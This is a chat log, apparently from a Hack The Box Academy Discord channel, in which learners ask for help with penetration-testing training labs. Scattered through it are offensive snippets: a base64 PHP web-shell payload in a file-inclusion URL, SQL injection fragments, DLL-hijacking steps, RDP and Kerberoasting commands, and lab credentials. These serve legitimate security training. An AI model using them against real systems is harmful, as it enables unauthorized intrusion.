[fathom pendant]

When compiling with gcc

[digital pendant]

ooh okay so I need the local archive libraries instead for that to work but it could do.. ill give it a go thank you

[runic summit]

Anyone free to talk about the Windows Lateral Movement Skill Assessment?

[desert widget]

Who all are preparing for CPTS rn?

I need some guidance on it

I am cooked fr

Pls dm me

[digital pendant]

I accidentally got root before I got first flag. but this did the trick thank you

[clever helm]

Hello

I got a doubt with this password attacking module intro to JTR
What where is rolf’s password

Is their something missing

[fathom pendant]

the GECKO is in the reading

and yes you need the WHOLE line

[clever helm]

Okie dokie

[plain summit]

Web Attacks Chaining IDOR Vulnerabilities

The flag does not show up after sending the correct changes and refreshing the page.

[icy egret]

Please DM me, i am stuck for quite long, restarted VM for 6 times, changed VPN, researched, nothing seems helpful

[fathom pendant]

@icy egret don't spoil module information

[icy egret]

oh, my bad

but why am i not getting .bat ?? even though everything is followed with module, perms changed , inheritance done, restarted the .exe

[civic inlet]

will there be a skills track for wifi or no?

[snow badge]

Hey, I'm looking for help on https://academy.hackthebox.com/module/158/section/1439. This is where I am in the instructions:

"We will need to transfer SocksOverRDPx64.zip or just the SocksOverRDP-Server.exe to 172.16.5.19. We can then start SocksOverRDP-Server.exe with Admin privileges."

I'm currently using xfreerdp to connect to my target host, which is using mstsc.exe to connect to the remote host 172.16.5.19. I'm trying to copy and paste SocksOverRDP-Server.exe from the target host to 172.16.5.19, and it's not allowing me to do so. I was able to accomplish this last night, but the target reset before I could finish. I've tried stopping and restarting the rdpclip process on the remote host, and restarting mstsc.exe. Any suggestions?

SOLVED:
I restarted the target, started over from the beginning of the section, used the mstsc.exe that comes up in search results rather than C:\Windows\System32\mstsc.exe (didn't check their locations to see if they were different), and did a manual copy paste of the file. It worked this time.

[vocal crane]

Hey is there some issues with this question,

Which architecture is known for decentralized data sharing without a central server?
Ans-P2P Architecture

[snow badge]

Not sure what the context is here. What module are you struggling with?

[vocal crane]

Network Foundations

[fathom pendant]

have you tried without the word "architecture"

[snow badge]

Can you link the section? And what's the issue? Your answer P2P Architecture is not accepted?

[spark jetty]

I used pwd for the path, but it's not correct.
The question is:
What is the path to htb-student's home directory?
How do you answer that?

[fathom pendant]

check the env

[vocal crane]

https://academy.hackthebox.com/module/289/section/3242

[fathom pendant]

also did you try the full thing and not the abbreviation?

a-to-a for instance

[vocal crane]

yes i tried that as well peer-to-peer

[fathom pendant]

did you try without the word "Architecture"

:)

[vocal crane]

nice that works thanks alot

[snow badge]

lol

[spark jetty]

How to check it?

[fathom pendant]

i put env like that on purpose

i suggest looking into the commands that are given to you by the module

iirc the module gives you a list of common commands

[spark jetty]

Yes, I try in many ways, I copy the result of de pwd:
/Home/.../

[fathom pendant]

i don't recall /Home/ being a directory

/home/ however

but it sounds like you're not ssh into the target

ssh htb-student@spawnedIP (spawnedIP is the IP that spawns from "Click Here To Spawn Target!")

spawn instance starts the in-browser pwnbox which is NOT the target, it's just an in-browser attack box you can use instead of your own vm

[spark jetty]

I don't understand, I used the pwnbox, and the question is for the path, I don't know much about Linux and I use this command because it is the one I know is pwd

For find paths

[vernal badger]

Hi everyone, I am taking part in "Pivoting,Tunneling and Port Forwarding" Module, but the problem I faced is proxychains works on xfreerdp but failed to scan ports with nmap in target host. The nmap command I use "proxychains nmap 172.16.5.35 -Pn -sT" but the result shows ignored which is different with the tutorial sample. Did anyone faced the same problem?

[vernal badger]

Noted, will try it later and thanks for replying.👍

[plain folio]

Just did that section now and faced an issue setting up my dynamic port forwarding for the knowledge check. Makes me wonder if its because of a poor connection? Just seemed a bit unreliable but could just be me being silly

[vernal badger]

Did you checked your /etc/proxychains.conf?

[rustic sage]

Does anyone have a module relating to bloodhound

[eager spindle]

Active Directory Enumeration & Attacks

[rustic sage]

i saw it already dw

[opal shuttle]

then youtube is your best teacher

[lapis plinth]

wow, its nice, thx

[waxen totem]

Look up ippsec bloodhound on youtube

[little terrace]

hi im doing RDP and SOCKS Tunneling with SocksOverRDP and the rdp for the dc, the second hop, doesnt work

[rustic sage]

is there a way to color code my report for sysreptor so it can be clear?

[worn cape]

Hello

In the CPTS Documentation and Reporting Module. The course resources has a Sample Obsidian Note Book how do i open this in Obsidian. There is no Open Folder or Directory option i can see.

[rustic sage]

Hey do u know how to color code report?

im tryna make it look better

[waxen totem]

Depends on what you mean by color code. If you mean syntax highlighting just put the language after the ```

[rustic sage]

im tryna make the important parts in a different colour

like text

[waxen totem]

No clue I didn't do that, I usually just bolded or italized important stuff in my report.

[rustic sage]

Oh, i was tryna make it clear to read thats why

[waxen totem]

You can also do inline code blocks `like so`: like so

[rustic sage]

o

cant i just take my report in microsoft word and colour it?

[waxen totem]

I don't know, I didn't really care how my report looked, I more so cared about the content

[rustic sage]

oh okay

[shell drum]

Hi everyone 👋

I’m Shaheer, aka Maverick, from Pakistan 🇵🇰.
I’m here to connect with like-minded folks in penetration testing, exploit development, and red teaming.

I mainly focus on malware development (maldev) and Windows exploitation. I’m still a learner, not formally certified yet, but I’ll be attempting CRTO this month and then moving towards some OffSec certs.

Looking forward to sharing knowledge, learning from you all, and geeking out on offensive security together! 🚀

[waxen totem]

Sir, this ain't linkedin, this is the #modules channel for discussion of HTB modules

[icy egret]

i did it, but the module path is not the same with the exercise, not only the user matt but change perms as well

[earnest jacinth]

cool, you can browse multiple available channels that are suited for your preferences (maldev,web, red teaming ...) in the server and engage with like minded people.

[shell drum]

Oh I'm sorry I didn't mean that
I just connect with people that have the same ambition

Didn't knew sorry for that

I'll keep that in mind next time

[rain mirage]

module password attack : Attacking Active Directory and NTDS.dit
On an engagement you have gone on several social media sites and found the Inlanefreight employee names: John Marston IT Director, Carol Johnson Financial Controller and Jennifer Stapleton Logistics Manager. You decide to use these names to conduct your password attacks against the target domain controller. Submit John Marston's credentials as the answer. (Format: username:password, Case-Sensitive)

i just wanna know which wordlist do i use ,, (if ur answer is rockyou then there are multiple rockyous , so)

[umbral hamlet]

Any staff can contact me regarding HTB Business CTF writeup prizes? We haven't heard back for a couple of months now 😓

I tried messaging author and they pointed me to panawesome and makelariss but nobody responded at all. I think they forgot about business CTF haha

[acoustic owl]

@fair hornet @rustic rain ^

[tranquil wren]

Hello, i am on Q3 of the Attacking FTP module (https://academy.hackthebox.com/module/116/section/1165), i was able to find the other user name by file traversing but when i use hydra or medusa along with the pw list available in resources or try to run it with 'rockyou' I am not finding it. when i run the user list and the pw list together with hydra or medusa it only finds one user name and password and it isn't the correct one for the module, i actually think it was for a different module probably as i found the flag with the other user name. Can any one give me a nudge?

[limber river]

<@&861185840277487616>

[icy dagger]

Hello everybody, I am on “Uncovering 2FA Token Exploitation” from the Android Application Malware Analysis module. I’ having troubles interpreting the angr output. Can I ping someone who solved it for some help? Thx in advance 🙏🏻

[autumn garnet]

I have the same issue. Did you ever figure it out?

[autumn garnet]

you need to publish the c# script into one file. the issue is the machine they gave us to do this wont do it, i made a vm on virtualbox and got visual studio 2022 and published it because it needs internet connection then file transferred the .exe to my attack box.

[desert inlet]

Hey everybody! I have a question on the advanced sqli module, the skill assessment module to be precise.
I was able to find the first injection point but I couldn’t excteact the password. Looking at the solution to get some hint I found that I have to search specifically for passwoRd and every other variant won’t work. Why is that? What have I missed?

[haughty fiber]

Powerview modules are not being recognized even after importing

tried through evil win and meterpreter

[tranquil wren]

anyone had similar issues with this module?

[mint bridge]

Hey can anyone help me out with an openvpn issue? (Sorry this is the only channel it lets me talk in)

[tranquil wren]

sorry i'm not following

[tranquil wren]

i was referring to this module

[gray yacht]

I'd see if you can try anything under the Misconfigurations part of the section.

[tranquil wren]

i tried an ftp bounce but it didn't seem to take, i've had to reset those machines alot becuase the ftp service does seem to want to start in that module for some reason

[gray yacht]

Yeah I would let it sit for about 5 minutes before verifying the port is open. Not talking about attacks, rather Misconfigurations.

[hasty mauve]

Umm, why my messages got deleted?

[tranquil wren]

lol

[gray yacht]

You were posting content above Tier 0 and included an answer, i.e., #/#.

[hasty mauve]

Oh, sorry lol.

[tranquil wren]

is going back to the footprinting module recommended? i wasn't sure since the module said in this one we will focus on attacks on misconfurations

[gray yacht]

All good and I believe there is a user in a group or something, which wouldn't have shown up with the user search.

[gray yacht]

Nope, just scroll through that section and find the Misconfigurations header, then read below it.

[tranquil wren]

goddamn it

thanks @gray yacht

[glossy turtle]

Hii im a beginner to cybersec installed kali rn. What should i be doing now? Is learning python a good next step?

[tranquil wren]

i was trying to use auth keys file for another users login i found

for ssh lol

[hasty mauve]

There is a user in a group, and it showed up because of the [*1..].
I'm not familiar with Azure tho, there might be another thing that does not show up with that query.

[gray yacht]

Gotcha, yeah I don't recall off the top of my head. I did the same stuff you did, so I wouldn't sweat it.

[gray yacht]

This is a question more suited for #general or #careers-and-certs and if you do not have access to those channels, head over to #welcome to verify your account and read over the #rules.

[bold niche]

yes, this has been asked multiple times on discord and you also find it in the documentation e.g. in the code block section.

You can basically do anything using html and css also inline

[haughty fiber]

can anyone help

[bold niche]

docx is a proprietary format. Sysreptor only supports generating PDFs.

So if you currently work on a Sysreptor project you would have to redo your report in word

[rustic sage]

ngl im a bit dumb im gonna just use microsoft word to edit the colour and stuff then save to pdf and upload

[tranquil wren]

got the flag thanks again @gray yacht

[swift dove]

Hey guys anyone on the Attacking AI - Application and System the MCP part recently?

Hey HF were you able to finish the module?

[desert inlet]

Any help for this issue?

[edgy ember]

I was not running the project as "Console App (.NET Framework)". It is not the first one that shows up when opening Visual Studio. Use the search bar, look for .net framework console and choose the first one.

[supple dragon]

you can DM me

[desert inlet]

Done 🙂

[rain mirage]

Password Attacks
Credential Hunting in Windows

question: What password does Bob use to connect to the Switches via SSH? (Format: Case-Sensitive)

i got the password of the port 22 but for some reason its not accepting it , its "__admin*** " right?

any hints?

[autumn garnet]

Ill take a look, thanks for the reply

[median kettle]

has anyone had trouble with the pass the certificate portion for password attacks? i cant get printerbug.py to work. nothing happens after i hit enter

[median kettle]

thaats not the right password

[median kettle]

hint: rdp to his desktop and you should see an interesting file, poke around in it and see what you can find

[strong acorn]

Soc Analyst / Windows Event Logs & Finding Evil / Analyzing Evil With Sysmon & Event Logs

Replicating the DLL Hijacking with calc.exe doesn't work.

Steps:

1. Renaming reflective_dll.x64.dll to WININET.dll
2. moving calc.exe from C:\Windows\System32 along with WININET.dll to a writable directory (such as the Desktop folder)

Step 2 doesn't work since I don't have trusted access to the RDP. I can't move the calc.exe to any other folder.

[swift dove]

Managed...

Insane module, once more, really good job HTB Team, Those Ai Red Teaming modules where really good! 10/10

[river furnace]

Hey

[swift dove]

What do you need help with?

[strong acorn]

?! 👀

[pallid pilot]

Hey mates, can somebody help me, im doing the Advanced SQLi SA, by now y can exfiltrate the data of the two users in the data base, but when i craft the reset key using python and java with the same functions, the page throws me invalid key message, if somebody can help me let me know, i can DM u o u can DM me

[river furnace]

Bro why delete

[cloud urchin]

@river furnace This server isn't support for video games. Contact the makers of the game.

[rotund sorrel]

anyone experiencing issues with boxes not starting?

[strong acorn]

L channel L support fr

[cloud urchin]

@river furnace I don't care who said what. We can't help with this. This is not the server for that.

[strong acorn]

wtf

[rotund sorrel]

im witnessing a meme in the making

[strong acorn]

Telegram bro

lol

[pallid pilot]

If somebody know something i would appreciate it

[strong acorn]

here too

[safe star]

did you open as admin

[strong acorn]

sure bro

[strong acorn]

I solved it but I think it's unintended

I think you should use Event Viewer but I didn't

[safe star]

what about copying instead of moving

[strong acorn]

doesn't work

u should run calc.exe after doing the steps and a message box should pop up

it runs calc normally

[safe star]

yeah dont see why admin wouldnt work

[strong acorn]

Ok Solved

[strong acorn]

you don't need admin

you gotta run "calc.exe" in user-mode cmd

what a mess fr!

[rotund sorrel]

hey im stuck on the 3rd question of the password cracking module, subsection windows lateral movement and pass the hash

ive succesfully ran netexec to change the DisableRestrictedAdmin to 0 (0x0), but connecting through xfreerdp3 with /pth:hash still fails

[cosmic hornet]

If I buy annual Silver Annual Plan, can I cancel and get remained refund at anytime?

[strong acorn]

Resolved.

Steps:

1. Go to C:\Tools\Reflective DLLInjection
2. Rename reflective_dll.x64.dll to WININET.dll
3. Move renamed file to Desktop
4. Open Administrator Powershell
5. Copy calc.exe from C:\Windows\System32 to Desktop
6. Open cmd (not admin cmd)
7. run calc.exe from cmd

[safe star]

so just clicking it doesnt work?

[strong acorn]

I think it would

[cosmic hornet]

If I buy annual Silver Annual Plan, can I cancel and get remained refund at anytime? Should I ask the question here or anywhere else?

[waxen totem]

The moment you buy you get the sub for the whole year

cancelling it just wont make it renew next year

[safe star]

are you sure it changed with nxc

did you enter with winrm first

[cosmic hornet]

I want to buy silver first and then upgrade to gold later but I want to cost minimumly

[cloud urchin]

No one here can help with that. You'll have to reach out to support on the website and ask. Support for billing stuff isn't provided over Discord.

[tranquil sluice]

Hey, I am currently doing the "intro to whitebox pentesting" module, on skill assessment Q2.
I have patched the code to the point that it works and AI engines do not find vulnerabilities. However the site does not accept it and returns "result: injection failed" but does not return the flag, which is weird because that's the entire point of the exercise.

Can anyone please help?

[cosmic hornet]

Thank you

[median kettle]

has anyone had trouble with the pass the certificate portion for password attacks? i cant get printerbug.py to work. nothing happens after i hit enter

[spiral sapphire]

Since Academy content regarding Windows is on Windows 10 boxes, is it also valid for Windows 11?

[cloud urchin]

Yes

Windows 11 is Windows 10, just with more stuff

[spiral sapphire]

Thanks, that's good to know! So no difference at all regarding the attacks and everything th

[cloud urchin]

yeah i never encountered anything

[median kettle]

anyone toss me a hint or some help?

[spiral sapphire]

Nice! I was worried the knowledge I've gained will be useless, haha. Do you know if the Windows machines will be migrated to Win 11 OS soon?

[cloud urchin]

Haven't heard anything about that

most of it will work on older versions of windows too, windows doesn't really change that much from version to version

all the basics are still there, like groups, permissions, acl's, etc

they don't actually rebuild the whole OS from scratch every time

[spiral sapphire]

Yes but I thought surely they must have killed all the attacks that were possible previously... I guess not then, which is good since I won't have to re-learn everything

[cloud urchin]

nah, you usually attack windows misconfigurations rather than vulnerabilities

[obsidian stone]

hello

im stuck in the wordpress skill assessment if anyone could help

Use a vulnerable plugin to download a file containing a flag value via an unauthenticated file download.

if i found the pluging how can i find the fiel for that ?

[tranquil crystal]

Module: Shells & Payloads > (page 5) Reverse Shells

I am connected to the academy VPN. I started the instance. When I try to ping it, no route to host. I'm not sure what's going on.

[tranquil crystal]

I've never had this issue before.
I just did a previous module which required me to be on Academy VPN
I switched VPN to US Academy 1. Download the vpn file. Connect to it. I do ip a and I get tun0 up with a 10.x IP.
I try to ping the machine instance and Destination host unreachable.

[swift dove]

I think the Skill Assessment of Attacking AI System is broken.

[acoustic owl]

Not every machine responds to a ping

[tranquil crystal]

Well I can't even connect to it via rdp

[acoustic owl]

try it with the pwnbox

[tranquil crystal]

ok. thanks

[gaunt forge]

thanks! I just had to spend alot more time on vsc, i think i wasn't building it as a solution

I'm also running a vm now and testing connections back to my linux machine for practice

[simple marten]

I'm in the introduction to information security module for mobile security and it says how many layers are in device security. I put the answer as <4> according to the format suggested for the answer but it says it's incorrect

[safe star]

What about just 4

[cobalt adder]

anyone got any recommendations on what modules to move onto? literally just finished the basic starter tutorial, im going for just learning it to have as a skill currently

[simple marten]

https://tenor.com/view/chris-pratt-andy-dwyer-omg-shocked-face-meme-gif-281437442397920323

[dark hedge]

see the Information Security Foundations skill path

[cobalt adder]

what does that teach?

[haughty fiber]

The import is not working. Tried through evilwin and meterpreter

[gaunt forge]

@autumn garnet did u end up getting the shellcode loader to work? i never got it working but the revshell later worked. i just started using msvenum launching notepad shellcode but that still fails

[full patio]

I anyone else currently experiencing issues with the web shell in AD Enumeration & Attacks - Skills Assessment Part I? 🤔

[eager basalt]

hi, I am new to htb.
I have an issue where I can connect to htb openvpn but to get into the website first I have to connect some vpn first because of my location. so double vpn, I can spwn the machines with openvpn connected but ping and other remote stuff doesn't work.

I am dying to learn htb but because of that issue, I can't even pass starting point meow, because telnet keeps disconnecting.

is there any vpn solution for this ? thanks

[acoustic owl]

Take a look at the PwnBox

[main swallow]

Hi everyone, I'm new here and just started htb and wanted to know for the "craking into htb" path. Could i ask some advices and also i have some questions like for free users when you accidentally close the VM workstation do u have to wait 24h and one last thing is there any offer and discount for students?

[cloud urchin]

There's a student subscription that is heavily discounted

[gritty bay]

anyone i can dm for cl.te ?

[clever helm]

Yes you need to wait 24 hr to reset ! Student discount are worth it’s only 8 dollar I am currently using it. To learn CPTS highly recommend +(unlimited VM on module )

[main swallow]

And how can I subscribe as a student

[crude grove]

hello everyone
i'm stuck on this question, i've found creds for the user in previous question, but I don't know where to use them (that's all I can say here)

can someone help plz,thank you

[clever helm]

Try to add email (student email)

On your account then 💥

[main swallow]

Thanks for the help

[fathom pendant]

common remote access solution

• figure what that could mean

could be rdp, winrm, etc.

[limber river]

seems like the old rdp problems stills there

[fathom pendant]

it also helps to know what module and section you're working on @crude grove

[crude grove]

pivoting

[fathom pendant]

https://tenor.com/view/do-you-have-any-idea-how-little-that-narrows-it-down-that-narrows-it-down-clear-now-its-clear-now-i-understand-now-gif-21256627

[limber river]

it's better to mention the name of module + section , what did you try

pivoting it's tooo vague

[fathom pendant]

common remote access

maybe rdp to an internal machine

because the question mentions (For your next hop)

:)

[crude grove]

Pivoting, Tunneling, and Port Forwarding ,Skills Assessment , 6th question
I tried every service the connection drops

[fathom pendant]

i mean use rdp from inside your existing/previous xfreerdp session

that's the simple answer ¯_(ツ)_/¯

[crude grove]

i will feel so stupid if this will work 🙂 ,thank you, i'll try it

[upper fern]

Hey @everyone
I’m currently diving into Mobile Pentesting and learning more about bypassing Dynamic SSL Pinning on Android apps.
I’ve tried some approaches using Frida and Objection, but I’d love to hear from the community:

🔹 What are your go-to tools or techniques for effectively bypassing SSL Pinning in real-world scenarios?
🔹 Any recommended writeups, scripts, or labs I should check out?

Thanks in advance for any advice or pointers 🙏

[acoustic owl]

#academy-announcements message

[acoustic owl]

The Academy offers various modules that deal with mobile pentesting.

[upper fern]

Thanks for the reply
I’ve already gone through the Academy modules on mobile pentesting and learned a lot from them.
Now I’d like to take my skills to a more advanced level, especially around bypassing dynamic SSL pinning and building stronger defenses.

Do you have any recommendations for advanced resources, labs, or tools that go beyond the Academy content?

[worn ginkgo]

hey guys
Password Attacks

Pass the Ticket (PtT) from Linux

Check the /tmp directory and find Julio's Kerberos ticket (ccache file). Import the ticket and read the contents of julio.txt from the domain share folder \DC01\julio.

i got till here but smbclient is not responding. need help in this please.!

[strong acorn]

You guys need to rework that Windows Event Logs module, this shit is ass. No proper info, no pre-built environment that is ready for the steps, needs lots of steps to reproduces whatever is needed to solve the questions, not enough guidance through steps to reproduce. Like wth is that module for

[cloud urchin]

Sounds like you learned a lot actually. If you feel there are errors you can post in #1234357888114364508 or you can use /feedback to provide feedback to staff.

[strong acorn]

Sure thank you

[pallid pilot]

Hello, can somebody help me with the Advanced SQLi SA, in the question two, i can bypass the filter with the ' encoded ||%27|| and i can run some payloads like ||34%27%20AND%201%3D1%20%2D%2D|| but when i wnat to run the RCE payload like SELECTS and this stuff i dont achieve the execution, i will appreciatte a hint or somthing, actually i already try ||; SELECT||

[hollow holly]

Hi everybody, what can i do when a target is stuck in "spawning" stage except waiting?

[cloud urchin]

@cyan lily You can report it to WhatsApp. This also has nothing to do with HTB or modules, please stay on topic.

[cyan lily]

Oh sry

[worn ginkgo]

Anyone.?

[cloud urchin]

@plain summit Please take care not to post content from modules above tier 0

[plain summit]

Oh I can't do the ||censor||?

[cloud urchin]

Spoiler tags do nothing

[pallid pilot]

Hello, if somebody have the time and can help me with my script, I achieve to create the large_object but i dont know how to create the function, DM me if u want to help me with my payload or just give me a hint thanks a lot

[cloud urchin]

Best to say which module/section/question you're on.

[pallid pilot]

sorry ur rigth im in Advanced SQLi SA question 2

[jade frigate]

I need help with AD Enumeration & Attacks question 2, my meterpreter exploit is not working

[cloud urchin]

@jade frigate Please take care not to post content from modules above tier 0

[jade frigate]

I'm sorry for that, I forgot about it

[cedar sedge]

Hey

[atomic crest]

#general

#modules

Hey everyone I wanted to ask about the last challenge of ai red teaming ctf going live. Can anyone help me with that

[waxen totem]

We can't help with active CTFs

[agile cedar]

xfreerdp /v:10.129.43.43 /u:sql_dev /p:'Str0ng_P@ssw0rd!' /cert-ignore -sec-nla +sec-tls +sec-rdp when I run this command in windows privilege esclation module then I get this "to signin remotely you need to right through sign in remote desktop services by defaul member of remote desktop user have this right, if your group don't have this right or the right have been removed from the remote desktop user group then you have to grant this right manually" , but how can I grant the right manually without the access or privilege of that devices, anyone please help how to fix this issue

[cloud urchin]

You find a way to add yourself to the group or login with a user who is already in the group

[agile cedar]

thank you sir, but without accessing the machine how can we add myself to that group , or how can I know that which user are in remote desktop user group ??

[autumn pilot]

Which section are you working on?

[agile cedar]

SeImpersonate and SeAssignPrimaryToken

[autumn pilot]

Focus on the name of the user and what services he can access

It was showcased in the section as a hint

[agile cedar]

thank you sir, now it working

[gray field]

Modules > Intro to C2 Operations with Sliver.
I install
[] Client v1.5.43 - e116a5ec3d26e8582348a29cfd251f915ce4a405 - windows/amd64
Compiled at 2025-02-20 04:58:51 +0900 KST
Compiled with go version go1.20.7 linux/amd64
[] Server v1.5.43 - e116a5ec3d26e8582348a29cfd251f915ce4a405 - windows/amd64
Compiled at 2025-02-20 04:58:51 +0900 KST in windows 11.
When I execute 'armory install all' command, i can't install all files.
Is there any solutions to solve the problem?

[hexed tartan]

strange, i never got this problem in sliver, the problems are others

in this module

[gray field]

I remove all sliver and reinstall it but same problem in windows 11. Did you run sliver in kali or ubuntu?

[hexed tartan]

I did the room using pwnbox

[gray field]

I see. When I run sliver in kali, it execute command well but in windows I can't install the armory extensions and exe files. It could be windows problem. Thx. I have to find the way to install sliver in windows.

[flat lark]

/bin/dash is symlink to /bin/bash or dash is symlink to /bin/bash

[little terrace]

in the pivoting modules, the victim box interface is always xx.xx.xx.xx/16
why do i route /24 instead of /16 when i use ligolo?

[waxen totem]

If you know what you're doing you don't have to, but if you route a /24 with /16 you'll have problems that'll be hard to spot so it's good practice to route with the smallest mask you can.

[stable flume]

Guys does module pwnbox has "'save progress" feature or such thing? im tired redoing all the stuff i already done when i decide to take break...

[waxen totem]

the pwnbox has minimal saved storage so nope, I recommend using your own VM

[stable flume]

hmm... what about the pwnbox on cpts exam? im planning to take it on next year and im afraid my desktop performance is not even close to smooth so probably my best bet is on pwnbox...

[waxen totem]

I don't know I didn't use it but I'm pretty sure it'll be the same pwnbox,so again: minimal save storage

[rugged hull]

Uhm sorry but how am I going to fix this? (I've tried changing my VPN but it keeps saying that I don't have any instances left).

[surreal goblet]

Hi all

i need a help

[river grove]

you can dm me

[waxen totem]

Are you gonna elaborate or just gonna wait for a fortune teller or a psychic?

[waxen totem]

try ctrl + shift + f5

[surreal goblet]

i did find out What version of the SMB server is running on the target system and did submit the answer but it was not correct

[waxen totem]

Which module and section?

Read through that section's Footprinting/Nmap header again the answer is actually already in the example output.

[faint geode]

I did say in #cpts to include the module and section......

[floral fulcrum]

could i get a little nudge for HTTP Attacks - HTTP Response Splitting? managed to get it to work with ||?target|| but not sure what the error is

[devout lily]

"This is different for rejected packets that are returned with an RST flag. These packets contain different types of ICMP error codes or contain nothing at all." I think this is incorrect, right? When a firewall rejects a packet sends back an ICMP message, RST packet is sends back by an open/closed port using the TCP-ACK scan

[waxen totem]

It's an either/or scenario, it's either a TCP packet with an RST flag, or an ICMP packet depending on the firewall configuration (it can also send nothing at all)

[supple dragon]

you can DM me

[digital pendant]

Just on web attacks - mass idor enumeration section. The Lab is taking well over 15 minutes for ito to load and now coming up to 5 minutes to load the main page, clicking on documents within took another 5 minutes more or less. Is there something that would be slowing this down? trying new vpn now but idk if its that.

[jade frigate]

The Web Proxies module is a bit outdated when we get to the step-by-step of configuring ZAP and Foxy Proxy, some of the print screens and steps doesn't exist anymore

[waxen totem]

#1234357888114364508

[jade frigate]

Thanks

[rotund flare]

Hey everyone this is my first time here . I’m starting my career in i.t soon and I’m graduating with a degree in i.t but my end goal is cybersecurity. I’ve been debating on either going back and getting my bachelors degree in cybersecurity or just go the certification route. Does anyone have any advice on what I should do?

[waxen totem]

#careers-and-certs if you don't have access read #rules and follow #welcome

[grizzled schooner]

Looking for some help on Attacking Domain Trusts - Child -> Parent from Linux

I have the ccache ticket, ligolo set up, tunnel is started

psexec and raiseChild just fail with [-] [Errno Connection error (LOGISTICS.INLANEFREIGHT.LOCAL:88)] [Errno 111] Connection refused

If anyone can nudge me as to why it's failing that would be great! Please @ with replies

[light palm]

can someone help with the Burp intruder fuzzing, the challenge is to fuzz for '.html' files under the /admin directory but I have been fuzzing for 30 minutes with nothing (USING WEB PROXIES module)

[warm trench]

I'm working on Stack-Based Buffer Overflows on Linux x86 - Skills Assessment - Buffer Overflow. I've gotten to the point where I can launch a reverse shell and run commands. I've also tried to use the linux/x86/exec and linux/x86/read_file shellcodes. However, no matter what I use I don't have permissions to access the flag.txt file under /root. Can someone give me a hint as to what to try next?

[normal glacier]

Hey everyone has someone finished Android Fundamentals, if yes, can you send me the answer?

[acoustic owl]

No one here will send you any answers. That's not how you get help here.

You can ask questions here, such as:
I am in module XXX, section YYY, and am stuck on question ZZZ. Can anyone help me?
If someone has worked through the module, they can probably give you tips on how to find the solution.

[light palm]

problem solved, used ffuf instead

[grave badge]

I am in module Funnel and I am trying to set up my local port forwarding. I believe that the start of the command is ssh -L <LOCALPORT>:<REMOTE_HOST>:<REMOTE_PORT> USERNAME@SSH_SERVER ... But am I supposed to do that on my attack box or the target?

[quiet heart]

Attack box

[grave badge]

Thank you!

[normal glacier]

Have anyone answer this question:
Create an AVD for 'Pixel 3a API 34 Google APIs' using Android Studio. What is the build number of the device? (Format: build_number, Example: build_number-test)

I tried useing Android Studio, that the answer is wrong

[grizzled schooner]

Would recommend using Ligolo, much easier, works better

[dense tendon]

Maybe someone can help with the PHP Wrappers module, I enter the command as indicated in the example, but I do not display what it should, I don’t understand why other symbols sharply appear there.

this is the example:

[waxen totem]

Can you show the other half of the URL

[quiet heart]

Try URL encoding the payload

[dense tendon]

Example: http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id
My: http://94.237.57.115:35592/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==

[quiet heart]

As I said

[dense tendon]

In the example +Cg== is replaced by %2BCg%3D%3D, I do not understand why.

[waxen totem]

URL encoding

[dense tendon]

How can I encode like this

[waxen totem]

Use Burp or Cyberchef

[dense tendon]

I encoded it in Burp and got it:

[waxen totem]

don't encode all the characters

[worn ginkgo]

Can anyone one help me on this

[normal glacier]

Anyone help me

[fathom pendant]

that ticket looks expired

[worn ginkgo]

Yeah it was yesterdays i tried it with new ticket to but the smbclient is not responding

[dense tendon]

I encode only +Cg== and got it again

[waxen totem]

Restart the lab

I just checked and I'm unable to connect either

[dense tendon]

Ok, I did it, thanks, but why do i need encode only +Cg== second time?

[normal glacier]

anyone can help me?

[waxen totem]

+ is interpreted as a space

[uneven crater]

hello, little bit of topic but can someone help me with a ctf http head attack?

[acoustic owl]

There is no support for active CTFs. Contact the CTF operator for further assistance.

[grizzled schooner]

Anyone for this? Was able to solve using the parrot machine that spawns, but I have no idea why it won't work from my own host?

[tranquil crystal]

Module: Shells & Payloads
Section: Live Engagement

What distribution of Linux is running on Host-2? (Format: distro name, all lower case)

I have got the metasploit module for this blog version. I setup the options, type exploit, and it fails:

Any advice?

It says no CSRF token found, can't continue

[tranquil crystal]

There is no csrf token in the html source. The exploit doesn't seem to work.

Oh you have to set the vhost parameter too. Doh. I got it now

[quartz ridge]

hi guys how are you ?

i try web requests > CRUD API

and i cant solve this ctf

First, try to update any city's name to be 'flag'. Then, delete any city. Once done, search for a city named 'flag' to get the flag.

i was did this . but dont see flag

curl -s 94.237.61.242:36315/api.php/city/flag
[{"city_name":"flag","country_name":"HTB"}]

[tranquil crystal]

Please specify the module and the section you're working on

Is there a problem with the modules?

I completed this module 100%, but it won't give me the achievement. I went back and looked at every page of the module, every question is done/filled in, completed.

[digital pendant]

Strange it definitely is implying you've missed a section

[tranquil crystal]

I've done the entire module

[digital pendant]

its laudanum one webshell to rule them all @tranquil crystal

its not showing as complete....

[tranquil crystal]

Oh let me double check, thanks for the catch!

Oh I did miss a question

[digital pendant]

funny enough I did same thing and it was a missing question xD

[tranquil crystal]

Doh.

[digital pendant]

on that section... DUH!

[quartz ridge]

web request CRUD API

[tranquil crystal]

https://academy.hackthebox.com/achievement/1014841/115 Finally!

[muted mountain]

hello guys, if I get the silver subscription, if I don't spend the 200 cubes, will I have 400 cubes next month?
Is it accumulative ?

[fathom pendant]

user does not exist

[digital pendant]

any of the labs that are not on the 10.x.x.x range seem to be very very very slow -_- becoming painful

is it best to report to /support for that?

[fathom pendant]

@icy plume don't share info for modules above tier 0

[digital pendant]

nvm its my proxy being annoying... all this time :d

[digital pendant]

can I get a prod / nudge on Skills Assessment Web Attacks please.

[grizzled schooner]

Super odd question:

Currently working through Attacking Domain Trusts - Cross Forest from Linux

Within their example in the module they use wley for their user but have us sign in for the lab as htb-student. Are we supposed to be taking notes of past "pwned" user creds for these labs? Please @ with replies

[digital pendant]

I believe in that module theres sections that reference creds that in later they say connect to X, without specifying them again and its vaguely implied you will need the previous sections creds.

Not much of an answer for you but that module and couple others did similar

[grizzled schooner]

Nah that makes sense, just a bunch of annoyances to be honest, but thanks

``└─$ impacket-GetUserSPNs -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Password:
[-] [Errno Connection error (FREIGHTLOGISTICS.LOCAL:389)] [Errno -2] Name or service not known``

